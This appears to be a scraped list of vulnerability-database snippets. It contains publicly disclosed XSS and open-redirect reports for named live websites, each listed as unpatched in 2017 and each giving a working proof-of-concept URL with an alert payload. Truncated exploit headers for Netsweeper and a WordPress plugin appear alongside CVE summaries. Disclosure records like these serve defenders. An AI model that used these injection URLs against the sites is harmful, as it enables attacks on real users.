bwt.fr XSS vulnerability

Vulnerable URL: http://www.bwt.fr/fr/Pages/search.aspx?k=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1509776 Google...

slider.com Open Redirect vulnerability

Vulnerable URL: http://www.slider.com/r.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTUE9TRUQnKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 2512...

Netsweeper 4.0.9 - Arbitrary File Upload Execution

Netsweeper 4.0.9 - Arbitrary File Upload Execution +--------------------------------------------------------+ + Netsweeper 4.0.9 - Arbitrary File Upload and Execution + +--------------------------------------------------------+ Affected Product: Netsweeper Vendor Homepage : www.netsweeper.com...

Netsweeper 4.0.9 - Arbitrary File Upload / Execution

+--------------------------------------------------------+ + Netsweeper 4.0.9 - Arbitrary File Upload and Execution + +--------------------------------------------------------+ Affected Product: Netsweeper Vendor Homepage : www.netsweeper.com Version : 4.0.9 and probably other versions Discovered...

The vulnerability of the Moodle learning management system allows a hacker to inject arbitrary web or HTML code.

The vulnerability of the course/pending.php component of the Moodle learning management system exists due to the lack of measures taken to protect the structure of the web page. Exploiting this vulnerability allows a malicious actor to inject arbitrary web or HTML code through a specially crafted...

dms.ntsb.gov XSS vulnerability

Vulnerable URL: http://dms.ntsb.gov/pubdms/search/hitlist.cfm?sort=0=1=1=15=1=57111=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 0 VIP...

bticino2.ru XSS vulnerability

Vulnerable URL: http://www.bticino2.ru/pricelist/?a=0=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3316714 Google Pagerank...

barnaul.vs-gazeta.ru XSS vulnerability

Vulnerable URL: http://barnaul.vs-gazeta.ru/search/?profession='"=0=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 0 VIP website status:...

altenergo.su XSS vulnerability

Vulnerable URL: http://altenergo.su/php/search.php?a=0=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4427803 Google Pageran...

rostlab.org XSS vulnerability

Vulnerable URL: https://www.rostlab.org/services/snpdbe/dosearch.php?id=name=asd%27%3C/script%3E%3Csvg%20onload=alert%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

birds-guatemala.org XSS vulnerability

Vulnerable URL: http://www.birds-guatemala.org/index.php?option=comcontent=article=112=227〈=es!prettyPhotogalleryc6b53462f0/0,%3Cimg%20src=x%20onerror=alert%28/XSSPOSED/%29%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

design.lasertryk.dk XSS vulnerability

Vulnerable URL:...

CVE-2015-4039 - WordPress WP Membership plugin [Stored XSS]

Exploit Title: CVE-2015-4039 - WordPress WP Membership plugin Stored XSS Contact: https://twitter.com/panVagenas Vendor Homepage: http://wpmembership.e-plugins.com/ Software Link: http://codecanyon.net/item/wp-membership/10066554 Version: 1.2.3 Tested on: WordPress 4.2.2 CVE: CVE-2015-4039...

UBUNTU-CVE-2015-0212

Cross-site scripting XSS vulnerability in course/pending.php in Moodle through 2.5.9, 2.6.x before 2.6.7, 2.7.x before 2.7.4, and 2.8.x before 2.8.2 allows remote authenticated users to inject arbitrary web script or HTML via a crafted course summary...

WordPress WP Membership Plugin 1.2.3 - Multiple Vulnerabilities

Exploit for php platform in category web applications Exploit Title: WordPress WP Membership plugin Multiple Vulnerabilities Date: 2015/05/19 Exploit Author: Panagiotis Vagenas Contact: https://twitter.com/panVagenas Vendor Homepage: http://wpmembership.e-plugins.com/ Software Link:...

PT-2015-4716 · Arj +1 · Arj Archiver +1

Name of the Vulnerable Software and Affected Versions: Open-source ARJ archiver version 3.10.22 Description: The issue allows remote attackers to conduct directory traversal attacks via a symlink attack in an ARJ archive. Recommendations: For version 3.10.22, consider avoiding the use of ARJ...

Moodle Cross-Site Scripting Vulnerability

Moodle is an open source web-based teaching and learning application. A cross-site scripting vulnerability exists in the Moodle pending approval page, which allows remote attackers to construct malicious URIs and trick users into parsing them, which can be used to obtain sensitive cookies, hijack...

CVE-2014-7932

Use-after-free vulnerability in the Element::detach function in core/dom/Element.cpp in the DOM implementation in Blink, as used in Google Chrome before 40.0.2214.91, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving pending updat...

Design/Logic Flaw

Use-after-free vulnerability in the Element::detach function in core/dom/Element.cpp in the DOM implementation in Blink, as used in Google Chrome before 40.0.2214.91, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving pending updat...

CVE-2014-7932

Use-after-free vulnerability in the Element::detach function in core/dom/Element.cpp in the DOM implementation in Blink, as used in Google Chrome before 40.0.2214.91, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving pending updat...